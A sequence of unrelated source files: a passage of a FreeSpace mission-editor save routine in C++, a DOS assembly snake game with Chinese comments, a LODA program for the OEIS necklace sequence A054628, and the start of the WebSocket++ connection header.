Assert(shipp && dock_ptr);
Assert(dock_ptr->docked_objp->type == OBJ_SHIP || dock_ptr->docked_objp->type == OBJ_START);
// get ships and objects
object* objp = &Objects[shipp->objnum];
object* other_objp = dock_ptr->docked_objp;
ship* other_shipp = &Ships[other_objp->instance];
// write other ship
if (optional_string_fred("+Docked With:", "$Name:")) {
parse_comments();
} else {
fout("\n+Docked With:");
}
fout(" %s", other_shipp->ship_name);
// Goober5000 - hm, Volition seems to have reversed docker and dockee here
// write docker (actually dockee) point
required_string_fred("$Docker Point:", "$Name:");
parse_comments();
fout(" %s",
model_get_dock_name(Ship_info[other_shipp->ship_info_index].model_num,
dock_find_dockpoint_used_by_object(other_objp, objp)));
// write dockee (actually docker) point
required_string_fred("$Dockee Point:", "$Name:");
parse_comments();
fout(" %s",
model_get_dock_name(Ship_info[shipp->ship_info_index].model_num,
dock_find_dockpoint_used_by_object(objp, other_objp)));
fso_comment_pop(true);
}
void CFred_mission_save::save_turret_info(ship_subsys* ptr, int ship)
{
int i, z;
ship_weapon* wp = &ptr->weapons;
if (wp->ai_class != Ship_info[Ships[ship].ship_info_index].ai_class) {
if (optional_string_fred("+AI Class:", "$Name:", "+Subsystem:")) {
parse_comments();
} else {
fout("\n+AI Class:");
}
fout(" %s", Ai_class_names[wp->ai_class]);
}
z = 0;
i = wp->num_primary_banks;
while (i--) {
if (wp->primary_bank_weapons[i] != ptr->system_info->primary_banks[i]) {
z = 1;
}
}
if (z) {
if (optional_string_fred("+Primary Banks:", "$Name:", "+Subsystem:")) {
parse_comments();
} else {
fout("\n+Primary Banks:");
}
fout(" ( ");
for (i = 0; i < wp->num_primary_banks; i++) {
if (wp->primary_bank_weapons[i] != -1) { // Just in case someone has set a weapon bank to empty
fout("\"%s\" ", Weapon_info[wp->primary_bank_weapons[i]].name);
} else {
fout("\"\" ");
}
}
fout(")");
}
z = 0;
i = wp->num_secondary_banks;
while (i--) {
if (wp->secondary_bank_weapons[i] != ptr->system_info->secondary_banks[i]) {
z = 1;
}
}
if (z) {
if (optional_string_fred("+Secondary Banks:", "$Name:", "+Subsystem:")) {
parse_comments();
} else {
fout("\n+Secondary Banks:");
}
fout(" ( ");
for (i = 0; i < wp->num_secondary_banks; i++) {
if (wp->secondary_bank_weapons[i] != -1) {
fout("\"%s\" ", Weapon_info[wp->secondary_bank_weapons[i]].name);
} else {
fout("\"\" ");
}
}
fout(")");
}
z = 0;
i = wp->num_secondary_banks;
while (i--) {
if (wp->secondary_bank_ammo[i] != 100) {
z = 1;
}
}
if (z) {
if (optional_string_fred("+Sbank Ammo:", "$Name:", "+Subsystem:")) {
parse_comments();
} else {
fout("\n+Sbank Ammo:");
}
fout(" ( ");
for (i = 0; i < wp->num_secondary_banks; i++) {
fout("%d ", wp->secondary_bank_ammo[i]);
}
fout(")");
}
fso_comment_pop(true);
}
int CFred_mission_save::save_variables()
{
char* type;
char number[] = "number";
char string[] = "string";
char block[] = "block";
int i;
int num_block_vars = 0;
// sort sexp_variables
sexp_variable_sort();
// get count
int num_variables = sexp_variable_count();
if (save_format == MissionFormat::RETAIL) {
generate_special_explosion_block_variables();
num_block_vars = num_block_variables();
}
int total_variables = num_variables + num_block_vars;
if (total_variables > 0) {
// write 'em out
required_string_fred("#Sexp_variables");
parse_comments(2);
required_string_fred("$Variables:");
parse_comments(2);
fout("\n(");
// parse_comments();
for (i = 0; i < num_variables; i++) {
if (Sexp_variables[i].type & SEXP_VARIABLE_NUMBER) {
type = number;
} else {
type = string;
}
// index "var name" "default" "type"
fout("\n\t\t%d\t\t\"%s\"\t\t\"%s\"\t\t\"%s\"",
i,
Sexp_variables[i].variable_name,
Sexp_variables[i].text,
type);
// persistent and network variables
if (save_format != MissionFormat::RETAIL) {
// Network variable - Karajorma
if (Sexp_variables[i].type & SEXP_VARIABLE_NETWORK) {
fout("\t\t\"%s\"", "network-variable");
}
// player-persistent - Goober5000
if (Sexp_variables[i].type & SEXP_VARIABLE_SAVE_ON_MISSION_CLOSE) {
fout("\t\t\"%s\"", "save-on-mission-close");
// campaign-persistent - Goober5000
} else if (Sexp_variables[i].type & SEXP_VARIABLE_SAVE_ON_MISSION_PROGRESS) {
fout("\t\t\"%s\"", "save-on-mission-progress");
}
}
// parse_comments();
}
for (i = MAX_SEXP_VARIABLES - num_block_vars; i < MAX_SEXP_VARIABLES; i++) {
type = block;
fout("\n\t\t%d\t\t\"%s\"\t\t\"%s\"\t\t\"%s\"",
i,
Block_variables[i].variable_name,
Block_variables[i].text,
type);
}
fout("\n)");
fso_comment_pop();
}
fso_comment_pop(true);
return err;
}
int CFred_mission_save::save_containers()
{
if (save_format == MissionFormat::RETAIL) {
return 0;
}
const auto &containers = get_all_sexp_containers();
if (containers.empty()) {
fso_comment_pop(true);
return 0;
}
required_string_fred("#Sexp_containers");
parse_comments(2);
bool list_found = false;
bool map_found = false;
// What types of container do we have?
for (const auto &container : containers) {
if (container.is_list()) {
list_found = true;
} else if (container.is_map()) {
map_found = true;
}
if (list_found && map_found) {
// no point in continuing to check
break;
}
}
if (list_found) {
required_string_fred("$Lists");
parse_comments(2);
for (const auto &container : containers) {
if (container.is_list()) {
fout("\n$Name: %s", container.container_name.c_str());
if (any(container.type & ContainerType::STRING_DATA)) {
fout("\n$Data Type: String");
} else if (any(container.type & ContainerType::NUMBER_DATA)) {
fout("\n$Data Type: Number");
}
if (any(container.type & ContainerType::STRICTLY_TYPED_DATA)) {
fout("\n+Strictly Typed Data");
}
fout("\n$Data: ( ");
for (const auto &list_entry : container.list_data) {
fout("\"%s\" ", list_entry.c_str());
}
fout(")\n");
save_container_options(container);
}
}
required_string_fred("$End Lists");
parse_comments(1);
}
if (map_found) {
required_string_fred("$Maps");
parse_comments(2);
for (const auto &container : containers) {
if (container.is_map()) {
fout("\n$Name: %s", container.container_name.c_str());
if (any(container.type & ContainerType::STRING_DATA)) {
fout("\n$Data Type: String");
} else if (any(container.type & ContainerType::NUMBER_DATA)) {
fout("\n$Data Type: Number");
}
if (any(container.type & ContainerType::NUMBER_KEYS)) {
fout("\n$Key Type: Number");
} else {
fout("\n$Key Type: String");
}
if (any(container.type & ContainerType::STRICTLY_TYPED_KEYS)) {
fout("\n+Strictly Typed Keys");
}
if (any(container.type & ContainerType::STRICTLY_TYPED_DATA)) {
fout("\n+Strictly Typed Data");
}
fout("\n$Data: ( ");
for (const auto &map_entry : container.map_data) {
fout("\"%s\" \"%s\" ", map_entry.first.c_str(), map_entry.second.c_str());
}
fout(")\n");
save_container_options(container);
}
}
required_string_fred("$End Maps");
parse_comments(1);
}
return err;
}
void CFred_mission_save::save_container_options(const sexp_container &container)
{
if (any(container.type & ContainerType::NETWORK)) {
fout("+Network Container\n");
}
if (container.is_eternal()) {
fout("+Eternal\n");
}
if (any(container.type & ContainerType::SAVE_ON_MISSION_CLOSE)) {
fout("+Save On Mission Close\n");
} else if (any(container.type & ContainerType::SAVE_ON_MISSION_PROGRESS)) {
fout("+Save On Mission Progress\n");
}
fout("\n");
}
int CFred_mission_save::save_vector(vec3d& v)
{
fout(" %f, %f, %f", v.xyz.x, v.xyz.y, v.xyz.z);
return 0;
}
int CFred_mission_save::save_waypoints()
{
//object *ptr;
fred_parse_flag = 0;
required_string_fred("#Waypoints");
parse_comments(2);
fout("\t\t;! %d lists total\n", Waypoint_lists.size());
SCP_list<CJumpNode>::iterator jnp;
for (jnp = Jump_nodes.begin(); jnp != Jump_nodes.end(); ++jnp) {
required_string_fred("$Jump Node:", "$Jump Node Name:");
parse_comments(2);
save_vector(jnp->GetSCPObject()->pos);
required_string_fred("$Jump Node Name:", "$Jump Node:");
parse_comments();
fout(" %s", jnp->GetName());
if (save_format != MissionFormat::RETAIL) {
if (jnp->IsSpecialModel()) {
if (optional_string_fred("+Model File:", "$Jump Node:")) {
parse_comments();
}
else {
fout("\n+Model File:");
}
int model = jnp->GetModelNumber();
polymodel* pm = model_get(model);
fout(" %s", pm->filename);
}
if (jnp->IsColored()) {
if (optional_string_fred("+Alphacolor:", "$Jump Node:")) {
parse_comments();
}
else {
fout("\n+Alphacolor:");
}
color jn_color = jnp->GetColor();
fout(" %u %u %u %u", jn_color.red, jn_color.green, jn_color.blue, jn_color.alpha);
}
int hidden_is_there = optional_string_fred("+Hidden:", "$Jump Node:");
if (hidden_is_there) {
parse_comments();
}
if (hidden_is_there || jnp->IsHidden()) {
if (!hidden_is_there) {
fout("\n+Hidden:");
}
if (jnp->IsHidden()) {
fout(" %s", "true");
}
else {
fout(" %s", "false");
}
}
}
fso_comment_pop();
}
SCP_list<waypoint_list>::iterator ii;
for (ii = Waypoint_lists.begin(); ii != Waypoint_lists.end(); ++ii) {
required_string_either_fred("$Name:", "#Messages");
required_string_fred("$Name:");
parse_comments((ii == Waypoint_lists.begin()) ? 1 : 2);
fout(" %s", ii->get_name());
required_string_fred("$List:");
parse_comments();
fout(" (\t\t;! %d points in list\n", ii->get_waypoints().size());
save_waypoint_list(&(*ii));
fout(")");
fso_comment_pop();
}
fso_comment_pop(true);
return err;
}
int CFred_mission_save::save_waypoint_list(waypoint_list* wp_list)
{
Assert(wp_list != NULL);
SCP_vector<waypoint>::iterator ii;
for (ii = wp_list->get_waypoints().begin(); ii != wp_list->get_waypoints().end(); ++ii) {
vec3d* pos = ii->get_pos();
fout("\t( %f, %f, %f )\n", pos->xyz.x, pos->xyz.y, pos->xyz.z);
}
return 0;
}
int CFred_mission_save::save_wings()
{
SCP_string sexp_out;
int i, j, z, count = 0;
fred_parse_flag = 0;
required_string_fred("#Wings");
parse_comments(2);
fout("\t\t;! %d total", Num_wings);
for (i = 0; i < MAX_WINGS; i++) {
if (!Wings[i].wave_count) {
continue;
}
count++;
required_string_either_fred("$Name:", "#Events");
required_string_fred("$Name:");
parse_comments(2);
fout(" %s", Wings[i].name);
// squad logo - Goober5000
if (save_format != MissionFormat::RETAIL) {
if (strlen(Wings[i].wing_squad_filename) > 0) //-V805
{
if (optional_string_fred("+Squad Logo:", "$Name:")) {
parse_comments();
} else {
fout("\n+Squad Logo:");
}
fout(" %s", Wings[i].wing_squad_filename);
}
}
required_string_fred("$Waves:");
parse_comments();
fout(" %d", Wings[i].num_waves);
required_string_fred("$Wave Threshold:");
parse_comments();
fout(" %d", Wings[i].threshold);
required_string_fred("$Special Ship:");
parse_comments();
fout(" %d\t\t;! %s", Wings[i].special_ship, Ships[Wings[i].ship_index[Wings[i].special_ship]].ship_name);
if (save_format != MissionFormat::RETAIL) {
if (Wings[i].formation >= 0 && Wings[i].formation < (int)Wing_formations.size())
{
if (optional_string_fred("+Formation:", "$Name:")) {
parse_comments();
}
else {
fout("\n+Formation:");
}
fout(" %s", Wing_formations[Wings[i].formation].name);
}
}
required_string_fred("$Arrival Location:");
parse_comments();
fout(" %s", Arrival_location_names[Wings[i].arrival_location]);
if (Wings[i].arrival_location != ARRIVE_AT_LOCATION) {
if (optional_string_fred("+Arrival Distance:", "$Name:")) {
parse_comments();
} else {
fout("\n+Arrival Distance:");
}
fout(" %d", Wings[i].arrival_distance);
if (optional_string_fred("$Arrival Anchor:", "$Name:")) {
parse_comments();
} else {
fout("\n$Arrival Anchor:");
}
z = Wings[i].arrival_anchor;
if (z & SPECIAL_ARRIVAL_ANCHOR_FLAG) {
// get name
char tmp[NAME_LENGTH + 15];
stuff_special_arrival_anchor_name(tmp, z, save_format == MissionFormat::RETAIL);
// save it
fout(" %s", tmp);
} else if (z >= 0) {
fout(" %s", Ships[z].ship_name);
} else {
fout(" <error>");
}
}
// Goober5000
if (save_format != MissionFormat::RETAIL) {
if ((Wings[i].arrival_location == ARRIVE_FROM_DOCK_BAY) && (Wings[i].arrival_path_mask > 0)) {
int anchor_shipnum;
polymodel* pm;
anchor_shipnum = Wings[i].arrival_anchor;
Assert(anchor_shipnum >= 0 && anchor_shipnum < MAX_SHIPS);
fout("\n+Arrival Paths: ( ");
pm = model_get(Ship_info[Ships[anchor_shipnum].ship_info_index].model_num);
for (auto n = 0; n < pm->ship_bay->num_paths; n++) {
if (Wings[i].arrival_path_mask & (1 << n)) {
fout("\"%s\" ", pm->paths[pm->ship_bay->path_indexes[n]].name);
}
}
fout(")");
}
}
if (Wings[i].arrival_delay) {
if (optional_string_fred("+Arrival delay:", "$Name:")) {
parse_comments();
} else {
fout("\n+Arrival delay:");
}
fout(" %d", Wings[i].arrival_delay);
}
required_string_fred("$Arrival Cue:");
parse_comments();
convert_sexp_to_string(sexp_out, Wings[i].arrival_cue, SEXP_SAVE_MODE);
fout(" %s", sexp_out.c_str());
required_string_fred("$Departure Location:");
parse_comments();
fout(" %s", Departure_location_names[Wings[i].departure_location]);
if (Wings[i].departure_location != DEPART_AT_LOCATION) {
required_string_fred("$Departure Anchor:");
parse_comments();
if (Wings[i].departure_anchor >= 0) {
fout(" %s", Ships[Wings[i].departure_anchor].ship_name);
} else {
fout(" <error>");
}
}
// Goober5000
if (save_format != MissionFormat::RETAIL) {
if ((Wings[i].departure_location == DEPART_AT_DOCK_BAY) && (Wings[i].departure_path_mask > 0)) {
int anchor_shipnum;
polymodel* pm;
anchor_shipnum = Wings[i].departure_anchor;
Assert(anchor_shipnum >= 0 && anchor_shipnum < MAX_SHIPS);
fout("\n+Departure Paths: ( ");
pm = model_get(Ship_info[Ships[anchor_shipnum].ship_info_index].model_num);
for (auto n = 0; n < pm->ship_bay->num_paths; n++) {
if (Wings[i].departure_path_mask & (1 << n)) {
fout("\"%s\" ", pm->paths[pm->ship_bay->path_indexes[n]].name);
}
}
fout(")");
}
}
if (Wings[i].departure_delay) {
if (optional_string_fred("+Departure delay:", "$Name:")) {
parse_comments();
} else {
fout("\n+Departure delay:");
}
fout(" %d", Wings[i].departure_delay);
}
required_string_fred("$Departure Cue:");
parse_comments();
convert_sexp_to_string(sexp_out, Wings[i].departure_cue, SEXP_SAVE_MODE);
fout(" %s", sexp_out.c_str());
required_string_fred("$Ships:");
parse_comments();
fout(" (\t\t;! %d total\n", Wings[i].wave_count);
for (j = 0; j < Wings[i].wave_count; j++) {
// if (Objects[Ships[ship].objnum].type == OBJ_START)
// fout("\t\"Player 1\"\n");
// else
fout("\t\"%s\"\n", Ships[Wings[i].ship_index[j]].ship_name);
}
fout(")");
save_ai_goals(Wings[i].ai_goals, -1);
if (Wings[i].hotkey != -1) {
if (optional_string_fred("+Hotkey:", "$Name:")) {
parse_comments();
} else {
fout("\n+Hotkey:");
}
fout(" %d", Wings[i].hotkey);
}
if (optional_string_fred("+Flags:", "$Name:")) {
parse_comments();
fout(" (");
} else {
fout("\n+Flags: (");
}
if (Wings[i].flags[Ship::Wing_Flags::Ignore_count]) {
fout(" \"ignore-count\"");
}
if (Wings[i].flags[Ship::Wing_Flags::Reinforcement]) {
fout(" \"reinforcement\"");
}
if (Wings[i].flags[Ship::Wing_Flags::No_arrival_music]) {
fout(" \"no-arrival-music\"");
}
if (Wings[i].flags[Ship::Wing_Flags::No_arrival_message]) {
fout(" \"no-arrival-message\"");
}
if (Wings[i].flags[Ship::Wing_Flags::No_arrival_warp]) {
fout(" \"no-arrival-warp\"");
}
if (Wings[i].flags[Ship::Wing_Flags::No_departure_warp]) {
fout(" \"no-departure-warp\"");
}
if (Wings[i].flags[Ship::Wing_Flags::No_dynamic]) {
fout(" \"no-dynamic\"");
}
if (save_format != MissionFormat::RETAIL) {
if (Wings[i].flags[Ship::Wing_Flags::Nav_carry]) {
fout(" \"nav-carry-status\"");
}
if (Wings[i].flags[Ship::Wing_Flags::Same_arrival_warp_when_docked]) {
fout(" \"same-arrival-warp-when-docked\"");
}
if (Wings[i].flags[Ship::Wing_Flags::Same_departure_warp_when_docked]) {
fout(" \"same-departure-warp-when-docked\"");
}
}
fout(" )");
if (Wings[i].wave_delay_min) {
if (optional_string_fred("+Wave Delay Min:", "$Name:")) {
parse_comments();
} else {
fout("\n+Wave Delay Min:");
}
fout(" %d", Wings[i].wave_delay_min);
}
if (Wings[i].wave_delay_max) {
if (optional_string_fred("+Wave Delay Max:", "$Name:")) {
parse_comments();
} else {
fout("\n+Wave Delay Max:");
}
fout(" %d", Wings[i].wave_delay_max);
}
fso_comment_pop();
}
fso_comment_pop(true);
Assert(count == Num_wings);
return err;
}
}
}
|
org 0x100
mov ax, cs
mov es, ax
mov ds, ax
mov ss, ax ; 设置堆栈指针
mov sp, 100h - 8
; 环境设置
mov ah, 0x01
mov cx, 0x2000
int 0x10 ; 利用10号中断停止光标闪烁
mov ax, 0x0305
mov bx, 0x031F
int 0x16 ; 增加重复键入延迟
call game_loop
game_loop:
call cls ; 清屏
push word [snake_pos] ; 讲蛇头位置压栈保存
mov ah, 0x01 ; 调用功能号为01的16中断判断是否有按键信号
int 0x16
jz keep_going ; 没有按键,则跳转到keep_going,继续移动
mov ah, 0x00 ; 有则从缓存读取按键
int 0x16
jmp update_snakepos ; 更新蛇头位置
keep_going:
mov al, [last_move] ; 没有按键,继续以最后方向移动
update_snakepos:
cmp al, 'a'
je left
cmp al, 's'
je down
cmp al, 'd'
je right
cmp al, 'w'
jne keep_going
up:
dec byte [snake_y_pos]
jmp move_done ; 蛇头移动完毕后跳转到move_done
left:
dec byte [snake_x_pos]
jmp move_done ; 蛇头移动完毕后跳转到move_done
right:
inc byte [snake_x_pos]
jmp move_done ; 蛇头移动完毕后跳转到move_done
down:
inc word [snake_y_pos]
move_done:
mov [last_move], al ; 保存最后移动方向
mov si, snake_body_pos ; 蛇身储存在寄存器si,其中si为源变址寄存器
pop ax ; 原来的蛇头位置出栈以让蛇身移动
update_body: ;主要完成蛇身往之前的蛇部位前进
mov bx, [si] ; 将蛇身数组[0]赋值给bx
test bx, bx ; 判断是否为蛇身
jz done_update ; 如果不是完成蛇身更新
mov [si], ax ; 迭代
add si, 2 ; 迭代
mov ax, bx ; 迭代
jmp update_body ;
done_update:
cmp byte [grow_snake_flag], 1 ; 利用标识变量判断是否生长
jne add_zero_snake ; 为0,则跳转到add_zero_snake例程
mov word [si], ax ; 保存蛇尾
mov byte [grow_snake_flag], 0 ; 标识变量置零
add si, 2 ; 蛇长大了
add_zero_snake:
mov word [si], 0x0000 ;
print_stuff: ; 打印界面
call DispScoStr ; 打印分数段
mov ax, [score] ; 将Score传入寄存器ax,准备调用
call print_int ; 打印数字
mov dx, [food_pos] ; 传入食物位置,准备移动光标
call move_cursor ; 移动光标
mov al, '*' ; 食物'*'传入al
call print_char ; 打印食物
mov dx, [snake_pos] ; 传入蛇头位置,准备移动光标
call move_cursor ; 移动光标
mov al, '@' ; 打印蛇头
call print_char ; 打印蛇头
mov si, snake_body_pos ; 传入蛇身数组位置,准备打印蛇身
snake_body_print_loop:
lodsw ; 存取串操作lodsw(字):AX ← [DS:(R|E)SI]、(R|E)SI ← (R|E)SI ± 2
test ax, ax ; 判断是够蛇身存在
jz check_collisions ; 蛇身没有则跳转到check_collisions
mov dx, ax ; 传入蛇身位置,准备移动光标到蛇身位置
call move_cursor ; 移动光标
mov al, 'o' ; 蛇身标志为'o'
call print_char ; 打印蛇身
jmp snake_body_print_loop ; 迭代操作
check_collisions:
mov bx, [snake_pos] ; 将蛇头位置储存在Bx
cmp bh, 25 ; 判断是否撞到墙(下面)
jge game_over_hit_wall
cmp bh, 0 ; 判断是否撞到墙(上面)
jl game_over_hit_wall
cmp bl, 80 ; 判断是否撞到墙(右面)
jge game_over_hit_wall
cmp bl, 0 ; 判断是否撞到墙(左面)
jl game_over_hit_wall
mov si, snake_body_pos ; 加载蛇身位置
check_collisions_self: ; 跌代判断蛇身与蛇头位置是否相等
lodsw ; 加载蛇身位置并将si ++2
cmp ax, bx
je game_over_hit_self
or ax, ax ; 判断是否到达蛇尾,即蛇自撞检测结束条件
jne check_collisions_self ; 没则继续检测
no_collision:
mov ax, [snake_pos] ; 加载蛇头位置
cmp ax, [food_pos] ; 与食物位置判断是否吃到
jne game_loop_continued ; 如果没吃到,则直接跳转到game_loop_continued
inc word [score] ; 计分器++1
mov bx, 24 ; 初始化行随机数范围
call rand ; 调用随机函数结果储存在dx
push dx ; 将 xpos(dx)压栈保存
mov bx, 78 ; 初始化列随机数范围
call rand ; 产生随机数ypos(dx)
pop cx ; 将行位置出栈于cx
mov dh, cl ; 保存cl(实际的行位置)
mov [food_pos], dx ; 更新食物位置
mov byte [grow_snake_flag], 1 ; 标志变量grow_snake_flag置1
game_loop_continued:
mov cx, 0x0002 ; Sleep for 0,15 seconds (cx:dx)
mov dx, 0x49F0 ; 0x000249F0 = 150000
mov ah, 0x86
int 0x15 ; Sleep
jmp game_loop ; loop
game_over_hit_self:
call cls
call DispHitSelfStr
call wait_for_r
game_over_hit_wall:
call cls
call DispHitWallStr
call wait_for_r
wait_for_r:
mov ah, 0x00
int 0x16
cmp al, 'r'
jne goout
mov word [snake_pos], 0x0F0F
and word [snake_body_pos], 0
and word [score], 0
mov byte [last_move], 'd'
jmp game_loop
goout:
mov ax,4c00h ; AH=4Ch(功能号,终止进程)、AL=0(返回代码)
int 21h ; DOS软中断
; 屏幕功能区 ------------------------------------------------------------
cls:
mov ah, 06h ; 功能号(向上滚动文本显示屏幕)
mov al, 0
mov ch, 0
mov cl, 0
mov dh, 24
mov dl, 79
mov bh, 0ch
int 10h ; 调用中断清屏
ret ; 例程返回
;
DispScoStr: ; 显示分数字符串例程
mov ah, 13h ; BIOS中断的功能号(显示字符串)
mov al, 1 ; 光标放到串尾
mov bh, 0 ; 页号 = 0
mov bl, 0ch ; 字符颜色=不闪(0)黑底(000)亮红字(1100)
mov cx, Scostrlen; 串长=strlen
mov dx, 0 ; 显示串的起始位置(0,0):DH=行号、DL=列号
mov bp, Scostr; ES:BP=串地址
int 10h ; 调用10H号显示中断
ret ; 从例程返回
DispHitSelfStr: ; 显示自杀字符串例程
mov ah, 13h ; BIOS中断的功能号(显示字符串)
mov al, 1 ; 光标放到串尾
mov bh, 0 ; 页号 = 0
mov bl, 0ch ; 字符颜色=不闪(0)黑底(000)亮红字(1100)
mov cx, HitSelfstrlen; 串长=strlen
mov dx, 0 ; 显示串的起始位置(0,0):DH=行号、DL=列号
mov bp, HitSelfstr; ES:BP=串地址
int 10h ; 调用10H号显示中断
ret ; 从例程返回
DispHitWallStr: ; 显示撞墙字符串例程
mov ah, 13h ; BIOS中断的功能号(显示字符串)
mov al, 1 ; 光标放到串尾
mov bh, 0 ; 页号 = 0
mov bl, 0ch ; 字符颜色=不闪(0)黑底(000)亮红字(1100)
mov cx, HitWallstrlen; 串长=strlen
mov dx, 0 ; 显示串的起始位置(0,0):DH=行号、DL=列号
mov bp, HitWallstr; ES:BP=串地址
int 10h ; 调用10H号显示中断
ret ; 从例程返回
move_cursor:
mov ah, 0x02 ; move to (dl, dh)
xor bh, bh ; page 0
int 0x10
ret
print_char: ; print the char at al
and al, 0x7F ; unset the high bit
mov ah, 0x0E
int 0x10
ret
;-------------------------------------------------------------------------
; 打印数字例程,由print_int,push_digits,pop_and_print_digits共同完成
;-------------------------------------------------------------------------
print_int: ; 参数为ax
push bp ;
mov bp, sp ;
push_digits:
xor dx, dx
mov bx, 10
div bx
push dx
test ax, ax
jnz push_digits
pop_and_print_digits:
pop ax
add al, '0'
call print_char
cmp sp, bp
jne pop_and_print_digits
pop bp
ret
;--------------------------------------------------------------------
; 函数
;--------------------------------------------------------------------
; 随机函数, 利用功能号为10的1A中断()产生1至bx的随机数 -> dx
; 参考http://webpages.charter.net/danrollins/techhelp/0245.HTM
;
rand:
mov ah, 0x00
int 0x1A
mov ax, dx
xor dx, dx
div bx
inc dx
ret
;------------------------------------------------------------------------
; 定义消息,变量以及变量初始化
;------------------------------------------------------------------------
Scostr db 'Score: '
Scostrlen equ $ - Scostr
HitSelfstr db 'You hit yourself ! Press r to retry'
HitSelfstrlen equ $ - HitSelfstr
HitWallstr db 'You hit the wall ! Press r to retry'
HitWallstrlen equ $ - HitWallstr
; 变量以及初始化
grow_snake_flag db 0
food_pos dw 0x0D0D
score dw 0
last_move db 'd'
snake_pos:
snake_x_pos db 0x0F
snake_y_pos db 0x0F
snake_body_pos dw 0x0000
|
; A054628: Number of n-bead necklaces with 9 colors.
; Submitted by Jon Maiga
; 1,9,45,249,1665,11817,88725,683289,5381685,43046889,348684381,2852823609,23535840225,195528140649,1634056945605,13726075481049,115813764494505,981010688215689,8338590871415805,71097458824894329,607883273127192897
lpb $0
mov $2,$0
seq $2,54616 ; a(n) = Sum_{d|n} phi(d)*9^(n/d).
mov $3,$0
cmp $3,0
add $0,$3
div $2,$0
mov $0,0
mul $2,2
sub $2,2
lpe
mov $0,$2
div $0,2
add $0,1
|
/*
* Copyright (c) 2014, Peter Thorson. All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions are met:
* * Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* * Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
* * Neither the name of the WebSocket++ Project nor the
* names of its contributors may be used to endorse or promote products
* derived from this software without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
* AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL PETER THORSON BE LIABLE FOR ANY
* DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
* (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
* LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
* ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
* SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*
*/
#ifndef WEBSOCKETPP_CONNECTION_HPP
#define WEBSOCKETPP_CONNECTION_HPP
#include <websocketpp/close.hpp>
#include <websocketpp/error.hpp>
#include <websocketpp/frame.hpp>
#include <websocketpp/logger/levels.hpp>
#include <websocketpp/processors/processor.hpp>
#include <websocketpp/transport/base/connection.hpp>
#include <websocketpp/http/constants.hpp>
#include <websocketpp/common/connection_hdl.hpp>
#include <websocketpp/common/cpp11.hpp>
#include <websocketpp/common/functional.hpp>
#include <queue>
#include <sstream>
#include <string>
#include <vector>
namespace websocketpp {
/// The type and function signature of an open handler
/**
* The open handler is called once for every successful WebSocket connection
* attempt. Either the fail handler or the open handler will be called for each
* WebSocket connection attempt. HTTP Connections that did not attempt to
* upgrade the connection to the WebSocket protocol will trigger the http
* handler instead of fail/open.
*/
typedef lib::function<void(connection_hdl)> open_handler;
/// The type and function signature of a close handler
/**
* The close handler is called once for every successfully established
* connection after it is no longer capable of sending or receiving new messages
*
* The close handler will be called exactly once for every connection for which
* the open handler was called.
*/
typedef lib::function<void(connection_hdl)> close_handler;
/// The type and function signature of a fail handler
/**
* The fail handler is called once for every unsuccessful WebSocket connection
* attempt. Either the fail handler or the open handler will be called for each
* WebSocket connection attempt. HTTP Connections that did not attempt to
* upgrade the connection to the WebSocket protocol will trigger the http
* handler instead of fail/open.
*/
typedef lib::function<void(connection_hdl)> fail_handler;
/// The type and function signature of an interrupt handler
/**
* The interrupt handler is called when a connection receives an interrupt
* request from the application. Interrupts allow the application to trigger a
* handler to be run in the absense of a WebSocket level handler trigger (like
* a new message).
*
* This is typically used by another application thread to schedule some tasks
* that can only be run from within the handler chain for thread safety reasons.
*/
typedef lib::function<void(connection_hdl)> interrupt_handler;
/// The type and function signature of a ping handler
/**
* The ping handler is called when the connection receives a WebSocket ping
* control frame. The string argument contains the ping payload. The payload is
* a binary string up to 126 bytes in length. The ping handler returns a bool,
* true if a pong response should be sent, false if the pong response should be
* suppressed.
*/
typedef lib::function<bool(connection_hdl,std::string)> ping_handler;
/// The type and function signature of a pong handler
/**
* The pong handler is called when the connection receives a WebSocket pong
* control frame. The string argument contains the pong payload. The payload is
* a binary string up to 126 bytes in length.
*/
typedef lib::function<void(connection_hdl,std::string)> pong_handler;
/// The type and function signature of a pong timeout handler
/**
* The pong timeout handler is called when a ping goes unanswered by a pong for
* longer than the locally specified timeout period.
*/
typedef lib::function<void(connection_hdl,std::string)> pong_timeout_handler;
/// The type and function signature of a validate handler
/**
* The validate handler is called after a WebSocket handshake has been received
* and processed but before it has been accepted. This gives the application a
* chance to implement connection details specific policies for accepting
* connections and the ability to negotiate extensions and subprotocols.
*
* The validate handler return value indicates whether or not the connection
* should be accepted. Additional methods may be called during the function to
* set response headers, set HTTP return/error codes, etc.
*/
typedef lib::function<bool(connection_hdl)> validate_handler;
/// The type and function signature of a http handler
/**
* The http handler is called when an HTTP connection is made that does not
* attempt to upgrade the connection to the WebSocket protocol. This allows
* WebSocket++ servers to respond to these requests with regular HTTP responses.
*
* This can be used to deliver error pages & dashboards and to deliver static
* files such as the base HTML & JavaScript for an otherwise single page
* WebSocket application.
*
* Note: WebSocket++ is designed to be a high performance WebSocket server. It
* is not tuned to provide a full featured, high performance, HTTP web server
* solution. The HTTP handler is appropriate only for low volume HTTP traffic.
* If you expect to serve high volumes of HTTP traffic a dedicated HTTP web
* server is strongly recommended.
*
* The default HTTP handler will return a 426 Upgrade Required error. Custom
* handlers may override the response status code to deliver any type of
* response.
*/
typedef lib::function<void(connection_hdl)> http_handler;
//
typedef lib::function<void(lib::error_code const & ec, size_t bytes_transferred)> read_handler;
